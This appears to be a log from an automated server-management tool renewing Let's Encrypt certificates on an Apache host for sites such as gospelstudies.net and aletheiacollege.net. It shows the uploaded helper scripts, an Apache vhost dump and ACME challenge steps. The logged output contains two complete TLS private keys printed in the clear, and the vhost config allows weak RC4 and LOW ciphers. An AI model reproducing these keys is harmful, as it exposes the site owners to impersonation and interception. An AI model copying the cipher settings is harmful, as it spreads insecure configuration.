    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/gospelstudies_www_net.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/gospelstudies_www_net.conf)= /etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/gospelstudies_www_net.conf= 1'
fi


2026-02-28 06:00:22: 

chmod 755 /tmp/pkp213656; /tmp/pkp213656; rm /tmp/pkp213656

2026-02-28 06:00:23: 




2026-02-28 06:00:23: 

PUT: /tmp/pkp852477

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-02-28 06:00:23: 

chmod 755 /tmp/pkp852477; /tmp/pkp852477; rm /tmp/pkp852477

2026-02-28 06:00:23: 


.


2026-02-28 06:00:23: Establishing a connection
2026-02-28 06:00:23: 

PUT: /tmp/pkp820182

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-02-28 06:00:23: 

chmod 755 /tmp/pkp820182; /tmp/pkp820182; rm /tmp/pkp820182

2026-02-28 06:00:23: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
         port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
                 alias www.aletheiacollege.net
         port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
                 alias www.christadelphia.net
         port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
                 alias www.gospelstudies.net
         port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
                 alias www.heaster.org
         port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
         port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
                 alias www.hristadelfiane.org
         port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
                 alias www.osnovybiblii.info
         port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
                 alias www.realdevil.info
*:443                  is a NameVirtualHost
         default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
         port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
                 alias www.aletheiacollege.net
         port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
                 alias www.christadelphia.net
         port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
                 alias www.gospelstudies.net
         port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
                 alias www.heaster.org
         port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
         port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
                 alias www.hristadelfiane.org
         port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
                 alias www.osnovybiblii.info
         port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
                 alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.


2026-02-28 06:00:23: 

PUT: /tmp/pkp724412

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/gospelstudies_www_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 06:00:23: 

chmod 755 /tmp/pkp724412; /tmp/pkp724412; rm /tmp/pkp724412

2026-02-28 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/gospelstudies_www_net.conf	1432

<VirtualHost *:80>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_error.log
    SetEnv pkp_uid	50
    SetEnv pkp_owner	studies
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	gospelstudies.net
    ServerAlias	www.gospelstudies.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt
    DocumentRoot	/var/www/gospelstudies_www
    <Directory /var/www/gospelstudies_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/gospelstudies/www_secure_access.log combined
    ErrorLog	/var/log/apache2/gospelstudies/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-02-28 06:00:23: 

PUT: /tmp/pkp105915

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-02-28 06:00:23: 

chmod 755 /tmp/pkp105915; /tmp/pkp105915; rm /tmp/pkp105915

2026-02-28 06:00:23: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/9c0bc7e77c379755b26b0bae03e4a9f3.crt	5381
d7:d8:e9:fa:f8:98:51:31:98:4d:d8:ad:72:1c:f3:b3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBtmMEMhUS/1X2T51X04GdL2WMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMjI4MDUwMTUwWhcNMjYwNTI5MDUwMTQ5WjAcMRowGAYDVQQD
ExFnb3NwZWxzdHVkaWVzLm5ldDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAL+GfKqFk9RTPG7goBeA3WLIKc+JSC/8h8IVmAMp9YM7ij4RBuPmCRepnq6T
gvWDZyF9LJucmBWPECxE35phwiFt37VAzIj3AfAPMWJCHl7oEied8MilnkQE63FN
UU3eNgXH5TyAM0jCmoH6f5Y2v4UAKAmEAUGC9z181iM1P8dRJm+nBn+5EZQPqAtG
oQ8S7LGaVZpNlE8RHm2CFZBMeFNFemIbjU5XfduMVSUT5qj+zTHDvVd8hcIUssB8
wdiRdB04q+mutJKwrJv/dY45UXsS2pQ8zRKzZ8+E9F+R5EiqMCtFG/a0ZAJcwPYn
GQGBPFCO+gtEPJ4Be7OvwYOWFx8CAwEAAaOCAjUwggIxMA4GA1UdDwEB/wQEAwIF
oDATBgNVHSUEDDAKBggrBgEFBQcDATAMBgNVHRMBAf8EAjAAMB0GA1UdDgQWBBSw
fzSPXVD6fMhGG6NOI/sY9w2bzDAfBgNVHSMEGDAWgBTnq58PLDOgU9NeT3jIsoQO
O9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9yMTMuaS5s
ZW5jci5vcmcvMDMGA1UdEQQsMCqCEWdvc3BlbHN0dWRpZXMubmV0ghV3d3cuZ29z
cGVsc3R1ZGllcy5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAj
oCGgH4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8yMy5jcmwwggELBgorBgEEAdZ5
AgQCBIH8BIH5APcAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAA
AZyi1WjBAAAEAwBHMEUCIEmt3d9WnHZp/y1EXT4huvTo8wEQWYNP9+sCdJEvghLj
AiEAuIzk4KKC4NHZhv3E91rhJpMp7XlEYsrc+0GJVGF1bqAAfQDjI43yjaKI4Krg
rPD6kMmF8La/9dKlJ7AB/BxEWMS26AAAAZyi1WsUAAgAAAUANAJMzgQDAEYwRAIg
M4azLOriuzZ3ea5a4LsRdF8/JrSH1AS9ly1T86ybT9wCIE/4u0DXyYFYKjoFw6Bz
lRAYVhd3KfeZByztmWGWld4TMA0GCSqGSIb3DQEBCwUAA4IBAQBbO50Mi71cnWki
RMs+3FX2uXgSWnjX0bZxsur5ARJTRjqW+ZjVulhje8mOvxpGD2D9QWw0lYqS4LBf
C4Gv8oAYfvMVa9ZdX1BnA7tDWvYqy9I3DTBYKImXn85UhFqEFLouHm9b6Tbjl+sn
G1bDuDtGdbJKNlKHJn7b65uC9ZI1r9FS3seO5xxMlAz7ov7SrXb8ZrDV4IhAqHN2
BKp+/pdWuuSEjK1fICSb/UKJgZlW1mFr1HonyK2zPKsn4tnkDLnQd7g3H4S1j1U4
Qio5q2gLjp/8BcXf85lsW5yyUwGGKPuxv+CYfiEnkeBb9XV3RrgVROSzd7o934LH
+JvBFt2Z
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC/hnyqhZPUUzxu
4KAXgN1iyCnPiUgv/IfCFZgDKfWDO4o+EQbj5gkXqZ6uk4L1g2chfSybnJgVjxAs
RN+aYcIhbd+1QMyI9wHwDzFiQh5e6BInnfDIpZ5EBOtxTVFN3jYFx+U8gDNIwpqB
+n+WNr+FACgJhAFBgvc9fNYjNT/HUSZvpwZ/uRGUD6gLRqEPEuyxmlWaTZRPER5t
ghWQTHhTRXpiG41OV33bjFUlE+ao/s0xw71XfIXCFLLAfMHYkXQdOKvprrSSsKyb
/3WOOVF7EtqUPM0Ss2fPhPRfkeRIqjArRRv2tGQCXMD2JxkBgTxQjvoLRDyeAXuz
r8GDlhcfAgMBAAECggEAHfpc9Qvncap9oRVDuaoP/PA7qyJfzDMIxNZAbu5YYWwm
XUSpAW72KWABWG36Z5djwxgmrUy7eVRlQaieHzoB+t2J0IMOALo48WxPXIPg4RYO
EWllUOKrfRYQDDH/8eJALnN1bBzc6hybtpCQ++Ah5h16JtMkpy5qqJMrqWMiUn4Z
tuuugG8kzK1Ng6NmtdTqHokfcwOwdbxIcQbf9wi75azsJLQU9J+KH1P17VSHw4jM
rUwM15+P5D6eVtYTCPOCvqa722Hmyr5IvW1k/tocwthXZwj2MzH+HnPDJI8sS00N
AU0WGcl3aWpi+AghzEDlu4L6aacUJok59Y0lERFiIQKBgQDuRklX/FFnvyd5olCS
qXsVEMQOF4vSRrg5eAwEzp7tngVF6/rmo6LURBEPCwHINg9MVIIItcJqQQ4ZHJLy
u2IM8tMxQaglrTw5lB9ro7wsXFqQ3hoP5GkNslIfLwOASVjbqk2oSlzepAK98cj5
cBifQvaPMyDxm9nRUem63yzLWQKBgQDNxefnNfMv800MmI37AAfyS45OZS4uNPNE
wfgDIf26Q6FJ7twUgZDOjhiQ41sDcd+Teqlrd/C5O0keXt/UbdRrp1b97DY4VRTu
HyGDWKrf0WDV4XNRBFv893fFjyHPZY3qezlzZt/zgL8GTQMv+sGOt9QQfMLeDz9c
jJ7hGle/NwKBgQCMFaKVKfCqMAYDStxX/XAxaFP7fPhlPdKdZuiaAugJBzhObXhr
FJVsekAVOgFoNfA0jhKNEF8mnOyu8s+qCWSR/EkR0moLDJg1udHnNLIy2nEcbpef
9EeXF9mUH83NJFIrgyp44I9NDdvW1Em17KNtLq9KbWLW6SvcFm51wTPSsQKBgGmM
97y5Bsp04fPxGPtEc88MhK2f5wVaseJ2INLyj6UI5eX3uTpnj7D0YJOJm/jzY3zR
8a+nsXpCd+o1PllIESs7hjrv/Iv+0KKoo1ctl1EBpMtxPuay9sCW7AARwIUTEa3S
kZCpl3zfcJ05ycXFuZ2MnCHs7URcy+KcWy8ahSIXAoGBAKGlI1bYyztwRtL0Zywy
kOryLoeQVZQavl7sZoPCdg8pWOKMRG9aGKiOaqGpu97NwrWvAcrKdZbzOn/MINhe
jOp7dY1TsqmcaM0p8y+KbD0gKWXDg+yzGF7auMtqd8ILVYMQM+GlAOqqiAuqo5jG
Z4Ki7Uj9r19YLJvP1eng/i3+
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-02-28 06:00:23: Establishing a connection
2026-02-28 06:00:24: Establishing a connection
2026-02-28 06:00:24: 

PUT: /tmp/pkp455420

#!/bin/bash
if [ -d "/var/www/aletheiacollege_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-02-28 06:00:24: 

chmod 755 /tmp/pkp455420; /tmp/pkp455420; rm /tmp/pkp455420

2026-02-28 06:00:24: 


1


2026-02-28 06:00:24: Establishing a connection
2026-02-28 06:00:25: 

PUT: /tmp/pkp632097

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cat > QqKLpbQvhmD-8dqtUOxn8AYopA4y3UREzHrunLfiu9o <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
QqKLpbQvhmD-8dqtUOxn8AYopA4y3UREzHrunLfiu9o.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 QqKLpbQvhmD-8dqtUOxn8AYopA4y3UREzHrunLfiu9o
cat > e8r-duylX9QrTSqhQfK5zM8qFDk-dKpIK1IfZqOH3MU <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
e8r-duylX9QrTSqhQfK5zM8qFDk-dKpIK1IfZqOH3MU.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 e8r-duylX9QrTSqhQfK5zM8qFDk-dKpIK1IfZqOH3MU


2026-02-28 06:00:25: 

chmod 755 /tmp/pkp632097; /tmp/pkp632097; rm /tmp/pkp632097

2026-02-28 06:00:25: 




2026-02-28 06:00:32: Establishing a connection
2026-02-28 06:00:33: 

PUT: /tmp/pkp851066

#!/bin/bash
mkdir -p "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
cd "/var/www/aletheiacollege_www/.well-known/acme-challenge/"
rm QqKLpbQvhmD-8dqtUOxn8AYopA4y3UREzHrunLfiu9o
rm e8r-duylX9QrTSqhQfK5zM8qFDk-dKpIK1IfZqOH3MU


2026-02-28 06:00:33: 

chmod 755 /tmp/pkp851066; /tmp/pkp851066; rm /tmp/pkp851066

2026-02-28 06:00:33: 




2026-02-28 06:00:33: Establishing a connection
2026-02-28 06:00:33: 

PUT: /tmp/pkp550886

#!/bin/bash
temp_file=$(mktemp)
TARGET=5eb375246e856b10900412efba9b1585.crt

cat > $temp_file <<'endmsg'
73:53:b8:c7:78:83:4e:63:02:c7:23:58:e0:aa:81:a3

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBlGsSNxaQ4qYyFp5PB2fEYh+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMjI4MDUwMjAyWhcNMjYwNTI5MDUwMjAxWjAeMRwwGgYDVQQD
ExNhbGV0aGVpYWNvbGxlZ2UubmV0MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEAyWGb5DeDO2V8Pm5Q7gNZ/crJ/O7g+GFXjgcZvUevO7FAIvR8h6wySQ7K
8AYcv+i+ArC3JxP+soQnKD+wA5W14VbbM13VYxD+CKQAKMoMjhZeho++isk2kk40
FuXb6pDftQbA95HPNuccuXr9jWf8PEi/wB6VmBeNi3GXhbhgVpzn88alMyriYtWg
hZDw3ujIyhCsnBQoBmRVG/R1Of6Tauq+8WjRiePA6ddIhZm0yZpLA7VrDiSLoCf6
bDevf9aMh9biHkgBafj1eyBStRqhkQqyWgUPLWPoGlZmx6FJ015GATiNOsO1g0WC
obxgrXDnFlRpvixuv8GjDnoe1IfOOQIDAQABo4ICMzCCAi8wDgYDVR0PAQH/BAQD
AgWgMBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYE
FA50+AwbXLd1fMjxqkCIenpYKdWgMB8GA1UdIwQYMBaAFAC1KfItjm8x6JtMrXg+
+tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMi5p
LmxlbmNyLm9yZy8wNwYDVR0RBDAwLoITYWxldGhlaWFjb2xsZWdlLm5ldIIXd3d3
LmFsZXRoZWlhY29sbGVnZS5uZXQwEwYDVR0gBAwwCjAIBgZngQwBAgEwLwYDVR0f
BCgwJjAkoCKgIIYeaHR0cDovL3IxMi5jLmxlbmNyLm9yZy8xMjcuY3JsMIIBBAYK
KwYBBAHWeQIEAgSB9QSB8gDwAHYAyzj3FYl8hKFEX1vB3fvJbvKaWc1HCmkFhbDL
FMMUWOcAAAGcotWWUQAABAMARzBFAiBbT4HAROa/WfEWMPp0rEvwRgWCceSI9tLY
Cp1E0YYX/gIhAL547x100mM8+15jj2QEKEt4MFlC2zl8lYC8Na3S6VdHAHYAlpdk
v1VYl633Q4doNwhCd+nwOtX2pPM2bkakPw/KqcYAAAGcotWWOAAABAMARzBFAiAY
HJPwBICfAcfFsfORw012Aby46cWkp0Ap13EfeQU7XwIhAO8odCPHM4KjpprYIl0V
Fmjngc8/p4F5HkevXa3kTHVAMA0GCSqGSIb3DQEBCwUAA4IBAQButPzXDQQ10U61
zuRslKhProYDnmpZacFlobKz4sT7L5KjxHlQfFhE+pruOTnaau4/fwAx6o0dnoEN
+dw2uDOsj4JTyXeoQu8prf7M0gOmnPHzNXxaJ8oWxSfa67BhBXQfcG9edRGoGWNL
28owRi/JC+D627qZSRk19QlV+OgQ7ctjF1GalYdP4dIVrWkZXsZ1Wr47X1DsCCtP
GNcfDCuA5vN46WNzbjJ3kFwWXcqBtXaIFzrr83OwCGmzTrdeZLijwoRKzF6hY7y5
FUeeA3jvS6QJz/ymXlNeIfseHlHjoi2u+f588saXJT53VU6kS1IcyUpuejQJY5SF
z1oEOgk/
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDJYZvkN4M7ZXw+
blDuA1n9ysn87uD4YVeOBxm9R687sUAi9HyHrDJJDsrwBhy/6L4CsLcnE/6yhCco
P7ADlbXhVtszXdVjEP4IpAAoygyOFl6Gj76KyTaSTjQW5dvqkN+1BsD3kc825xy5
ev2NZ/w8SL/AHpWYF42LcZeFuGBWnOfzxqUzKuJi1aCFkPDe6MjKEKycFCgGZFUb
9HU5/pNq6r7xaNGJ48Dp10iFmbTJmksDtWsOJIugJ/psN69/1oyH1uIeSAFp+PV7
IFK1GqGRCrJaBQ8tY+gaVmbHoUnTXkYBOI06w7WDRYKhvGCtcOcWVGm+LG6/waMO
eh7Uh845AgMBAAECggEAGViMLuKfxUOGKjNnQzWvx2YVGx0Tup9BzlHtdunFT92E
xYGBBPBy2cgfWatjRfIsrBkCzEvTdDN23DV72U+n9ycf6qymNVRHrN27WWbowp9l
IUmJQV2G3U4zdyhSEAlQ5q9lbSNwcagP8PZeYERUtl+vpqYSzPQ17/WJjR6CHZRj
2rSfvI+BKXuIx+Qo/HFRuLzPj/InVz9GOLoyTO2lWXm18xt+RqtfXkGadL8LrsRA
BRdzMIxwGR4o7sRheZ9ilbkWiFf2kEw0CRDc7GGT8daYX6PfnmY8WVdN/3nTjSqN
f1WECeFQpowQNLaq6W/O1Vrux4f26JlsrKB2+6rlqQKBgQDrGjUHsspb0Cpr15vv
R9d/sqwWDckiIdMQFz2+8cLkOcJNXvkgo6USMwMW9D1EuiRPu2Hz6ncecJ8AIkys
8HWhgajfhxvDCE5dgwH6PXi5waKEKAyogPKRH87e0ue6Jo7qLrZxea0XsvI5oSjl
3befrk/kurhRFSDcn+hdiN6x7QKBgQDbSBKuFZ8WVPKcfz/yQVI9GB8K8rv0NJcP
C/6DSUZGRXAnjpL3jDR4cZ6edkw1SL1i6p0qwovnM6ejv00/LFTqjiSRN+SByJLD
YVFqYgwB3hH4toRlbHd2LtH5zXhGuavRRA2GnT8SJAnEx9C1supiisz6AS4toe14
0y7+ygbz/QKBgQC+NerXuqiMFeRscfnAY1CQCV+/TBIB4nngF92mAfXbLnvsmz1W
Ue/4xHrodFypoSxFseYzMOyFHTsXIakFdlrFe6DEkIw+hBbbA2ZzLo7hQy+YWsq6
/fDCx4hYsSw4aH/SKk8Dih0oAmiFhcUQDQ1GTQJonUUInN6EgX+/RUBflQKBgQDR
JZELkXvHJQax1Xz8Zuk1dEhHfPVgGrjplRsPxVfNtnUehZIPoh55soUDxvkw6UwZ
iISXQC+IOXBvcgsPcg0cGq8uAw1j7BZvW+b3fMTPEyw4+HyW8DmQ8186z4skifsj
AbGU7240s0LN+XdLlnaPvqt62J1e0M9bKrHsOm0fUQKBgQCQyYQdnWgZqvgcvSF9
qd+wRp0wExDRBYT2JIxTidRuu8YKiFcrSsAZHLpAntGir15GIUu4w4T5o8sYzqPd
nFkIEuKPX14lcg1XK7JCPdp7tgccDL3aBqIZgW1cIkpWtj6aN8d5veJGn22pHW3z
8Q+Eit3qiGycGDu6Upxae/yIBw==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
